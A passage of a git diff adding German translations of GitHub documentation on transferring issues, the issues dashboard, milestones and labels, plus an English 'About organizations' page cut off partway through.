+Im Issue erwähnte Personen und Teams werden über die Übertragung des Issues in ein neues Repository benachrichtigt. Die ursprüngliche URL wird an die neue URL des Issues weitergeleitet. Personen, die für das neue Repository über keine Leseberechtigung verfügen, wird ein Banner angezeigt, das sie darüber informiert, dass der Issue in ein Repository übertragen wurde, auf das sie keinen Zugriff haben.
+
+## Offener Issue in ein anderes Repository übertragen
+
+{% webui %}
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %}
+3. Klicke in der Liste der Issues auf den Issue, den du übertragen möchtest.
+4. Klicke auf der rechten Randleiste auf **Issue übertragen**.
+![Schaltfläche zum Übertragen eines Issues](/assets/images/help/repository/transfer-issue.png)
+5. Wähle im Dropdownmenü **Repository auswählen** das Repository aus, in das du das Issue übertragen möchtest.
+![Auswahl eines Repositorys](/assets/images/help/repository/choose-a-repository.png)
+6. Klicke auf **Issue übertragen**.
+![Schaltfläche „Issue übertragen“](/assets/images/help/repository/transfer-issue-button.png)
+
+{% endwebui %}
+
+{% cli %}
+
+{% data reusables.cli.cli-learn-more %}
+
+Führe zum Übertragen eines Issues den Unterbefehl `gh issue transfer` aus. Ersetze den `issue`-Parameter durch die Nummer oder URL des Issues. Ersetze den `{% ifversion ghes %}hostname/{% endif %}owner/repo`-Parameter durch den {% ifversion ghes %}URL-{% else %}Namen{% endif %} des Repositorys, in das du das Issue übertragen möchtest, z. B. `{% ifversion ghes %}https://ghe.io/{% endif %}octocat/octo-repo`.
+
+```shell
+gh issue transfer <em>issue</em> <em>{% ifversion ghes %}hostname/{% endif %}owner/repo</em>
+```
+
+{% endcli %}
+
+## Weitere Informationsquellen
+
+- [Informationen zu Issues](/articles/about-issues)
+- [Sicherheitsprotokoll überprüfen](/articles/reviewing-your-security-log)
+- [Überprüfen des Auditprotokolls deiner Organisation](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization)
diff --git a/translations/de-DE/content/issues/tracking-your-work-with-issues/viewing-all-of-your-issues-and-pull-requests.md b/translations/de-DE/content/issues/tracking-your-work-with-issues/viewing-all-of-your-issues-and-pull-requests.md
new file mode 100644
index 0000000000..bd0687d161
--- /dev/null
+++ b/translations/de-DE/content/issues/tracking-your-work-with-issues/viewing-all-of-your-issues-and-pull-requests.md
@@ -0,0 +1,35 @@
+---
+title: Anzeigen aller deiner Issues und Pull Requests
+intro: "In den Dashboards für Issues und Pull Requests werden die von dir erstellten offenen Issues und Pull Requests aufgelistet. Du kannst diese verwenden, um veraltete Elemente zu aktualisieren, sie zu klonen oder um repositoryübergreifend\_– einschließlich der von dir nicht abonnierten Repositorys\_– über Erwähnungen auf dem Laufenden zu bleiben."
+redirect_from:
+  - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/viewing-all-of-your-issues-and-pull-requests
+  - /articles/viewing-all-of-your-issues-and-pull-requests
+  - /github/managing-your-work-on-github/viewing-all-of-your-issues-and-pull-requests
+  - /issues/tracking-your-work-with-issues/managing-issues/viewing-all-of-your-issues-and-pull-requests
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+  - Issues
+shortTitle: View all your issues & PRs
+type: how_to
+ms.openlocfilehash: da42e2fe59a4ec80af2727eef66ae475f4b38ded
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145130982'
+---
+Deine Dashboards für Issues und Pull Requests sind im oberen Bereich jeder Seite verfügbar. In jedem Dashboard kannst du die Liste filtern, um nach Issues oder Pull Requests zu suchen, die von Dir erstellt wurden, die Dir zugewiesen sind oder in denen du erwähnt wurdest. Darüber hinaus kannst du nach Pull Requests suchen, für die du einen Review ausführen sollst.
+
+1. Klicke oben auf einer beliebigen Seite auf **Pull Requests** oder **Issues**.
+  ![Die globalen Dashboards für Probleme und Pull Requests](/assets/images/help/overview/issues_and_pr_dashboard.png)
+2. Wähle optional einen Filter aus, oder [verwende die Suchleiste, um nach spezifischeren Ergebnissen zu filtern](/articles/using-search-to-filter-issues-and-pull-requests).
+  ![Liste der Pull Requests mit ausgewähltem Filter „Erstellt“](/assets/images/help/overview/pr_dashboard_created.png)
+
+## Weitere Informationsquellen
+
+- [Anzeigen deiner Abonnements](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions#reviewing-repositories-that-youre-watching)
diff --git a/translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/about-milestones.md b/translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/about-milestones.md
new file mode 100644
index 0000000000..fa1232bf8b
--- /dev/null
+++ b/translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/about-milestones.md
@@ -0,0 +1,53 @@
+---
+title: Informationen zu Meilensteinen
+intro: Mit Meilensteinen kannst du den Fortschritt von Gruppen von Issues oder Pull Requests in einem Repository nachverfolgen.
+redirect_from:
+  - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-milestones/about-milestones
+  - /articles/about-milestones
+  - /github/managing-your-work-on-github/about-milestones
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+ms.openlocfilehash: eab1d31cb7c7099d047306348afed01c3cfd9817
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '145130930'
+---
+Wenn du [einen Meilenstein erstellst](/articles/creating-and-editing-milestones-for-issues-and-pull-requests), kannst du [ihn mit Issues und Pull Requests verknüpfen](/articles/associating-milestones-with-issues-and-pull-requests).
+
+Um dein Projekt besser zu verwalten, kannst du [Details zu deinem Meilenstein anzeigen](/articles/viewing-your-milestone-s-progress). Auf der Meilenstein-Seite siehst du Folgendes:
+
+- Vom Benutzer bereitgestellte Beschreibung des Meilensteins, die beispielsweise Informationen wie eine Projektübersicht, relevante Teams und geplante Termine enthält
+- Fälligkeitsdatum des Meilensteins
+- Fortschritt des Meilensteins in Prozent
+- Anzahl der offenen und abgeschlossenen Issues und Pull Requests, die mit dem Meilenstein verknüpft sind
+- Liste der offenen und abgeschlossenen Issues und Pull Requests, die mit dem Meilenstein verknüpft sind
+
+Darüber hinaus kannst du den Meilenstein auf der Meilenstein-Seite bearbeiten und neue Issues erstellen, die standardmäßig mit dem Meilenstein verknüpft werden.
+
+![Meilenstein-Seite](/assets/images/help/issues/milestone-info-page.png)
+
+## Issues und Pull Requests in Meilensteinen priorisieren
+
+Du kannst offene Issues und Pull Requests in einem Meilenstein priorisieren, indem du links neben das Kontrollkästchen eines Issues oder Pull Requests klickst, und den Meilenstein so an eine andere Stelle ziehst und dort ablegst.
+
+{% note %}
+
+**Hinweis**: Wenn mehr als 500 offene Issues in einem Meilenstein vorhanden sind, kannst du Issues nicht priorisieren.
+
+{% endnote %}
+
+![Neu angeordneter Meilenstein](/assets/images/help/issues/milestone-reordered.gif)
+
+## Weiterführende Themen
+
+- [Erstellen und Bearbeiten von Meilensteinen für Issues und Pull Requests](/articles/creating-and-editing-milestones-for-issues-and-pull-requests)
+- [Verknüpfen von Meilensteinen mit Issues und Pull Requests](/articles/associating-milestones-with-issues-and-pull-requests)
+- [Filtern von Issues und Pull Requests nach Meilenstein](/articles/filtering-issues-and-pull-requests-by-milestone)
+- [Anzeigen des Fortschritts deines Meilensteins](/articles/viewing-your-milestone-s-progress)
diff --git a/translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/associating-milestones-with-issues-and-pull-requests.md b/translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/associating-milestones-with-issues-and-pull-requests.md
new file mode 100644
index 0000000000..52e01f3e68
--- /dev/null
+++ b/translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/associating-milestones-with-issues-and-pull-requests.md
@@ -0,0 +1,39 @@
+---
+title: Meilensteine mit Issues und Pull Requests verknüpfen
+intro: 'Du kannst ähnliche Issues und Pull Requests mit einem Meilenstein verknüpfen, um ihre Fortschritte besser nachverfolgen zu können.'
+redirect_from:
+  - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-milestones/associating-milestones-with-issues-and-pull-requests
+  - /articles/associating-milestones-with-issues-and-pull-requests
+  - /github/managing-your-work-on-github/associating-milestones-with-issues-and-pull-requests
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Add to milestones
+ms.openlocfilehash: beb6b9683b7b69c33ddb9f23ab18cd7786f7754c
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145130929'
+---
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %}
+3. Aktiviere das Kontrollkästchen neben den Elementen, die du mit einem Meilenstein verknüpfen möchtest.
+  ![Kontrollkästchen für Issuemetadaten](/assets/images/help/issues/issues_assign_checkbox.png)
+4. Klicke in der oberen rechten Ecke auf **Meilenstein**, und beginne dann mit der Eingabe des Namens [eines vorhandenen Meilensteins](/articles/creating-and-editing-milestones-for-issues-and-pull-requests). Klicke auf den Namen des Meilensteins, um ihn mit dem Element zu verknüpfen.
+  ![Dropdownmenü für das Zuweisen von Meilensteinen zu Issues](/assets/images/help/issues/issues_assigning_milestone_dropdown.png)
+
+{% tip %}
+
+Während du an Issues und Pull Requests arbeitest, kannst du [den Fortschritt deines Meilensteins nachverfolgen](/articles/viewing-your-milestone-s-progress).
+
+{% endtip %}
+
+## Weiterführende Themen
+
+- [Informationen zu Meilensteinen](/articles/about-milestones)
+- [Erstellen und Bearbeiten von Meilensteinen für Issues und Pull Requests](/articles/creating-and-editing-milestones-for-issues-and-pull-requests)
+- [Filtern von Issues und Pull Requests nach Meilenstein](/articles/filtering-issues-and-pull-requests-by-milestone)
diff --git a/translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md b/translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md
new file mode 100644
index 0000000000..432e8095c2
--- /dev/null
+++ b/translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md
@@ -0,0 +1,48 @@
+---
+title: Meilensteine für Issues und Pull Requests erstellen und bearbeiten
+intro: 'Du kannst einen Meilenstein erstellen, um den Fortschritt von Gruppen von Issues oder Pull Requests in einem Repository zu verfolgen.'
+redirect_from:
+  - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-milestones/creating-and-editing-milestones-for-issues-and-pull-requests
+  - /articles/creating-milestones-for-issues-and-pull-requests
+  - /articles/creating-and-editing-milestones-for-issues-and-pull-requests
+  - /github/managing-your-work-on-github/creating-and-editing-milestones-for-issues-and-pull-requests
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+  - Issues
+  - Project management
+shortTitle: Create & edit milestones
+type: how_to
+ms.openlocfilehash: c0e812b9f91f91d88d7512974f1df52efbf8c65b
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147877017'
+---
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %} {% data reusables.project-management.milestones %}
+4. Wähle eine der Optionen aus:
+    - Klicke auf **New Milestone** (Neuer Meilenstein), um einen neuen Meilenstein zu erstellen.
+  ![Schaltfläche „New milestone“ (Neuer Meilenstein)](/assets/images/help/repository/new-milestone.png)
+    - Klicke neben dem Meilenstein, der bearbeitet werden soll, auf **Edit** (Bearbeiten), um einen Meilenstein zu bearbeiten.
+  ![Option „Edit“ (Bearbeiten) zum Bearbeiten des Meilensteins](/assets/images/help/repository/edit-milestone.png)
+5. Gebe den Titel, die Beschreibung oder andere Änderungen des Meilensteins ein, und klicke auf **Create milestone** (Meilenstein erstellen) oder **Save changes** (Änderungen speichern). Meilensteine rendern Markdown-Syntax. Weitere Informationen zur Markdown-Syntax findest Du unter [Grundlegende Schreib- und Formatierungssyntax](/github/writing-on-github/basic-writing-and-formatting-syntax).
+
+## Meilensteine löschen
+
+Wenn Du Meilensteine löschst, hat dies keine Auswirkungen auf Issues und Pull Requests.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %} {% data reusables.project-management.milestones %}
+4. Klicke neben dem Meilenstein, der gelöscht werden soll möchten, auf **Delete** (Löschen).
+![Option „Delete“ (Löschen) zum Löschen des Meilensteins](/assets/images/help/repository/delete-milestone.png)
+
+## Weiterführende Themen
+
+- [Informationen zu Meilensteinen](/articles/about-milestones)
+- [Verknüpfen von Meilensteinen mit Issues und Pull Requests](/articles/associating-milestones-with-issues-and-pull-requests)
+- [Anzeigen des Fortschritts deines Meilensteins](/articles/viewing-your-milestone-s-progress)
+- [Filtern von Issues und Pull Requests nach Meilenstein](/articles/filtering-issues-and-pull-requests-by-milestone)
diff --git a/translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/filtering-issues-and-pull-requests-by-milestone.md b/translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/filtering-issues-and-pull-requests-by-milestone.md
new file mode 100644
index 0000000000..a25ec4eca0
--- /dev/null
+++ b/translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/filtering-issues-and-pull-requests-by-milestone.md
@@ -0,0 +1,41 @@
+---
+title: Issues und Pull Requests nach Meilenstein filtern
+intro: 'Issues und Pull Requests können nach dem Meilenstein gefiltert werden, mit dem sie verknüpft sind. Wenn du [ein Issue oder einen Pull Request mit einem Meilenstein verknüpft hast](/articles/associating-milestones-with-issues-and-pull-requests), kannst du Elemente anhand ihrer Meilensteine finden. Innerhalb eines Meilensteins kannst du Issues und Pull Requests priorisieren.'
+redirect_from:
+  - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-milestones/filtering-issues-and-pull-requests-by-milestone
+  - /articles/filtering-issues-and-pull-requests-by-milestone
+  - /github/managing-your-work-on-github/filtering-issues-and-pull-requests-by-milestone
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Filter by milestone
+ms.openlocfilehash: 6eda4a52df3212b37c3052832291f03aa2285fd5
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145130922'
+---
+{% tip %}
+
+**Tipps:**
+
+- Wenn du Issues und Pull Requests lieber über die Suchleiste filtern möchtest, kannst du die Meilenstein-Such-Syntax verwenden. Für einen Meilenstein mit dem Namen „My Milestone“ sieht die Suchsyntax wie folgt aus: `milestone:"My Milestone"`.
+- Klicke zum Zurücksetzen des ausgewählten Filters auf **Aktuelle Suchabfrage, Filter und Sortierung löschen**.
+-  Du kannst Issues oder Pull Requests auch mithilfe der {% data variables.product.prodname_cli %} filtern. Weitere Informationen findest du unter [`gh issue list`](https://cli.github.com/manual/gh_issue_list) oder unter [`gh pr list`](https://cli.github.com/manual/gh_pr_list) in der Dokumentation zur {% data variables.product.prodname_cli %}.
+
+{% endtip %}
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %}
+3. Wähle **Meilensteine** aus, um eine Liste aller Meilensteine anzuzeigen, die für das Repository verfügbar sind.
+  ![Schaltfläche „Meilensteine“](/assets/images/help/issues/issues_milestone_button.png)
+4. Wähle den Meilenstein, für den du dich interessierst, aus der Liste aus. Auf der Meilenstein-Seite kannst du relevante Informationen für den Meilenstein anzeigen, einschließlich aller mit ihm verknüpften Issues und Pull Requests. Weitere Informationen findest du unter [Informationen zu Meilensteinen](/articles/about-milestones).
+
+## Weiterführende Themen
+
+- [Filtern und Suchen von Issues und Pull Requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests)
+- [Tickets auf einem Projektboard filtern](/articles/filtering-cards-on-a-project-board)
diff --git a/translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/index.md b/translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/index.md
new file mode 100644
index 0000000000..091854319c
--- /dev/null
+++ b/translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/index.md
@@ -0,0 +1,28 @@
+---
+title: Bezeichnungen und Meilensteine zum Nachverfolgen der Arbeit verwenden
+shortTitle: Labels and milestones
+intro: 'Verwende Bezeichnungen und Meilensteine, um die Arbeit an {% data variables.product.prodname_dotcom %} zu kategorisieren und nachzuverfolgen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Issues
+children:
+  - /managing-labels
+  - /about-milestones
+  - /creating-and-editing-milestones-for-issues-and-pull-requests
+  - /associating-milestones-with-issues-and-pull-requests
+  - /filtering-issues-and-pull-requests-by-milestone
+  - /viewing-your-milestones-progress
+redirect_from:
+  - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-milestones
+ms.openlocfilehash: 5da559e68d6ed61d7ec6d9c82039a86ffd47d4f2
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147876994'
+---
+
diff --git a/translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md b/translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md
new file mode 100644
index 0000000000..d9d956a263
--- /dev/null
+++ b/translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md
@@ -0,0 +1,101 @@
+---
+title: Verwalten von Bezeichnungen
+intro: 'Du kannst {% ifversion fpt or ghec %}Issues, Pull Requests und Diskussionen klassifizieren{% else %}Issues und Pull Requests{% endif %}, indem du Bezeichnungen erstellst, bearbeitest, anwendest und löschst.'
+permissions: '{% data reusables.enterprise-accounts.emu-permission-repo %}'
+redirect_from:
+  - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/managing-labels
+  - /articles/managing-Labels
+  - /articles/labeling-issues-and-pull-requests
+  - /github/managing-your-work-on-github/labeling-issues-and-pull-requests
+  - /articles/about-labels
+  - /github/managing-your-work-on-github/about-labels
+  - /articles/creating-and-editing-labels-for-issues-and-pull-requests
+  - /articles/creating-a-label
+  - /github/managing-your-work-on-github/creating-a-label
+  - /articles/customizing-issue-labels
+  - /articles/applying-labels-to-issues-and-pull-requests
+  - /github/managing-your-work-on-github/applying-labels-to-issues-and-pull-requests
+  - /articles/editing-a-label
+  - /github/managing-your-work-on-github/editing-a-label
+  - /articles/deleting-a-label
+  - /github/managing-your-work-on-github/deleting-a-label
+  - /github/managing-your-work-on-github/managing-labels
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+  - Issues
+  - Project management
+type: how_to
+ms.openlocfilehash: 42feddd5ebbdee81140d3aab48b81f83a2c6e69f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145130906'
+---
+## Informationen zu Kennzeichnungen
+
+Du kannst deine Arbeit auf {% data variables.product.product_name %} verwalten, indem du Bezeichnungen zum Kategorisieren von {% ifversion fpt or ghec %}Issues, Pull Requests und Diskussionen{% else %}Issues und Pull Requests {% endif %} erstellst. Du kannst Bezeichnungen in dem Repository anwenden, in dem die Bezeichnung erstellt wurde. Sobald eine Bezeichnung vorhanden ist, kannst du die Bezeichnung für alle {% ifversion fpt or ghec %}Issues, Pull Requests oder Diskussionen{% else %}Issues oder Pull Requests{% endif %} innerhalb dieses Repositorys verwenden.
+
+## Informationen zu Standardkennzeichnungen
+
+{% data variables.product.product_name %} bietet in jedem neuen Repository Standardkennzeichnungen. Mithilfe dieser Standardkennzeichnungen kannst du einen Standardworkflow in einem Repository erstellen.
+
+Bezeichnung | BESCHREIBUNG
+---  | ---
+`bug` | Gibt ein unerwartetes Problem oder ein unbeabsichtigtes Verhalten an{% ifversion fpt or ghes or ghec %}
+`documentation` | Kennzeichnet die Notwendigkeit für Verbesserungen oder Ergänzungen der Dokumentation{% endif %}
+`duplicate` | Gibt ähnliche {% ifversion fpt or ghec %}Issues, Pull Requests oder Diskussionen{% else %}Issues oder Pull Requests{% endif %} an
+`enhancement` | Kennzeichnet neue Funktionsanfragen
+`good first issue` | Kennzeichnet einen geeigneten Issue für erstmalig Mitwirkende
+`help wanted` | Kennzeichnet, dass ein Betreuer Hilfe bei einem Issue oder Pull Request benötigt
+`invalid` | Gibt an, dass {% ifversion fpt or ghec %}ein Issue, ein Pull Request oder eine Diskussion{% else %}ein Issue oder ein Pull Request{% endif %} nicht mehr relevant ist
+`question` | Gibt an, dass für {% ifversion fpt or ghec %}ein Issue, einen Pull Request oder eine Diskussion{% else %}ein Issue oder einen Pull Request{% endif %} weitere Informationen erforderlich sind
+`wontfix` | Gibt an, dass die Arbeit für {% ifversion fpt or ghec %}ein Issue, einen Pull Request oder eine Diskussion{% else %}ein Issue oder einen Pull Request{% endif %} nicht fortgesetzt wird
+
+Standardkennzeichnungen sind in jedem neuen Repository beinhaltet, wenn das Repository erstellt wird, aber du kannst die Kennzeichnungen später bearbeiten oder löschen.
+
+Issues mit der Bezeichnung `good first issue` werden verwendet, um die Seite `contribute` des Repositorys aufzufüllen. Ein Beispiel für eine Seite `contribute` findest du unter [github/docs/contribute](https://github.com/github/docs/contribute). 
+
+{% ifversion fpt or ghes or ghec %} Organisationsbesitzer können die Standardkennzeichnungen für Repositorys in ihrer Organisation anpassen. Weitere Informationen findest du unter [Verwalten von Standardbezeichnungen für Repositorys in deiner Organisation](/articles/managing-default-labels-for-repositories-in-your-organization).
+{% endif %}
+
+## Eine Kennzeichnung erstellen
+
+Jeder, der über Schreibzugriff auf ein Repository verfügt, kann eine Bezeichnung erstellen.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %} {% data reusables.project-management.labels %}
+4. Klicke rechts neben dem Suchfeld auf **Neue Bezeichnung**.
+{% data reusables.project-management.name-label %} {% data reusables.project-management.label-description %} {% data reusables.project-management.label-color-randomizer %} {% data reusables.project-management.create-label %}
+
+## Anwenden einer Bezeichnung
+
+Jeder, der über Selektierungszugriff auf ein Repository verfügt, kann Bezeichnungen anwenden und schließen.
+
+1. Navigiere zu {% ifversion fpt or ghec %}dem Issue, dem Pull Request oder der Diskussion{% else %}dem Issue oder Pull Request{% endif %}.
+1. Klicke auf der rechten Randleiste rechts neben „Bezeichnungen“ auf {% octicon "gear" aria-label="The gear icon" %} und anschließend auf eine Bezeichnung.
+  ![Dropdownmenü „Bezeichnungen“](/assets/images/help/issues/labels-drop-down.png)
+
+## Eine Kennzeichnung bearbeiten
+
+Jeder, der über Schreibzugriff auf ein Repository verfügt, kann vorhandene Bezeichnungen bearbeiten.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %} {% data reusables.project-management.labels %} {% data reusables.project-management.edit-label %} {% data reusables.project-management.name-label %} {% data reusables.project-management.label-description %} {% data reusables.project-management.label-color-randomizer %} {% data reusables.project-management.save-label %}
+
+## Eine Kennzeichnung löschen
+
+Jeder, der über Schreibzugriff auf ein Repository verfügt, kann vorhandene Bezeichnungen löschen.
+
+Durch den Löschvorgang wird die Bezeichnung aus Issues und Pull Requests entfernt.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %} {% data reusables.project-management.labels %} {% data reusables.project-management.delete-label %}
+
+## Weitere Informationsquellen
+- [Filtern und Durchsuchen von Issues und Pull Requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests){% ifversion fpt or ghes or ghec %}
+- [Verwalten von Standardbezeichnungen für Repositorys in deiner Organisation](/articles/managing-default-labels-for-repositories-in-your-organization){% endif %}{% ifversion fpt or ghec %}
+- [Fördern hilfreicher Beiträge zu deinem Projekt über Bezeichnungen](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels){% endif %}
+- [Grundlegende Schreib- und Formatierungssyntax](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#using-emoji)
diff --git a/translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/viewing-your-milestones-progress.md b/translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/viewing-your-milestones-progress.md
new file mode 100644
index 0000000000..83ec17b37b
--- /dev/null
+++ b/translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/viewing-your-milestones-progress.md
@@ -0,0 +1,36 @@
+---
+title: Den Fortschritt Ihres Meilensteins anzeigen
+intro: 'Um Deine Meilensteine nachzuverfolgen, möchtest Du ein besseres Verständnis darüber, wie viele offene Issues und Pull Requests verbleiben.'
+redirect_from:
+  - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-milestones/viewing-your-milestones-progress
+  - /articles/viewing-your-milestone-s-progress
+  - /articles/viewing-your-milestones-progress
+  - /github/managing-your-work-on-github/viewing-your-milestones-progress
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: View progress to milestone
+ms.openlocfilehash: 46c1b154bb5ae71e0ef4b75a8404f70ef467a867
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147880790'
+---
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %}
+3. Klicke in der linken oberen Ecke auf **Meilensteine**.
+  ![Die Schaltfläche „Meilenstein“](/assets/images/help/issues/issues_milestone_button.png)
+4. Wähle den Meilenstein aus, zu dem Du weitere Informationen anzeigen möchtest.
+
+![Überblick zu „Issues Milestone“ (Meilenstein für Issues)](/assets/images/help/issues/issues_milestone_overview.png)
+
+Zur besseren Verwaltung Deines Projekts kannst Du Issues oder Pull Requests in einem Meilenstein priorisieren. Weitere Informationen findest du unter [Informationen zu Meilensteinen](/articles/about-milestones#prioritizing-issues-and-pull-requests-in-milestones).
+
+## Weiterführende Themen
+
+* [Verknüpfen von Meilensteinen mit Issues und Pull Requests](/articles/associating-milestones-with-issues-and-pull-requests)
+* [Filtern von Issues und Pull Requests nach Meilenstein](/articles/filtering-issues-and-pull-requests-by-milestone)
diff --git a/translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md b/translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md
new file mode 100644
index 0000000000..52fc0b96ca
--- /dev/null
+++ b/translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md
@@ -0,0 +1,59 @@
+---
+title: About organizations
+intro: 'Organizations are shared accounts where businesses and open-source projects can collaborate across many projects at once, with sophisticated security and administrative features.'
+redirect_from:
+  - /articles/about-organizations
+  - /github/setting-up-and-managing-organizations-and-teams/about-organizations
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+---
+
+## About organizations
+
+{% data reusables.organizations.about-organizations %} For more information about account types, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)."
+
+You can invite an unlimited number of people to join your organization, then give these organization members a variety of roles that grant different levels of access to the organization and its data. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."
+
+In addition to managing access to the organization itself, you can separately manage access to your organization's repositories, project boards, and apps. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)", "[Project board permissions for an organization](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization)", and "[Managing access to your organization's apps](/organizations/managing-access-to-your-organizations-apps)."
+
+To simplify access management and enhance collaboration, you can create nested teams that reflect your group's structure, with cascading access permissions and mentions. For more information, see "[About teams](/organizations/organizing-members-into-teams/about-teams)."
+
+You can configure the organization to meet the unique needs of your group by managing settings, such as restricting the types of repositories that members can create. For more information, see "[Managing organization settings](/organizations/managing-organization-settings)."
+
+To harden your organization's security, you can enforce security requirements and review the organization's audit log. For more information, see "[Keeping your organization secure](/organizations/keeping-your-organization-secure)."
+
+To learn how to use organizations most effectively, see "[Best practices for organizations](/organizations/collaborating-with-groups-in-organizations/best-practices-for-organizations)."
+
+{% ifversion fpt or ghec %}
+## About feature availability
+
+{% data reusables.organizations.organization-plans %}
+{% endif %}
+
+## Organizations and enterprise accounts
+
+{% ifversion fpt %}
+Enterprise accounts are a feature of {% data variables.product.prodname_ghe_cloud %} that allow owners to centrally manage policy and billing for multiple organizations. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/collaborating-with-groups-in-organizations/about-organizations).
+{% else %}
+{% ifversion ghec %}For organizations that belong to an enterprise account, billing is managed at the enterprise account level, and billing settings are not available at the organization level.{% endif %} Enterprise owners can set policy for all organizations in the enterprise account or allow organization owners to set the policy at the organization level. Organization owners cannot change settings enforced for your organization at the enterprise account level. If you have questions about a policy or setting for your organization, contact the owner of your enterprise account.
+
+{% ifversion ghec %}
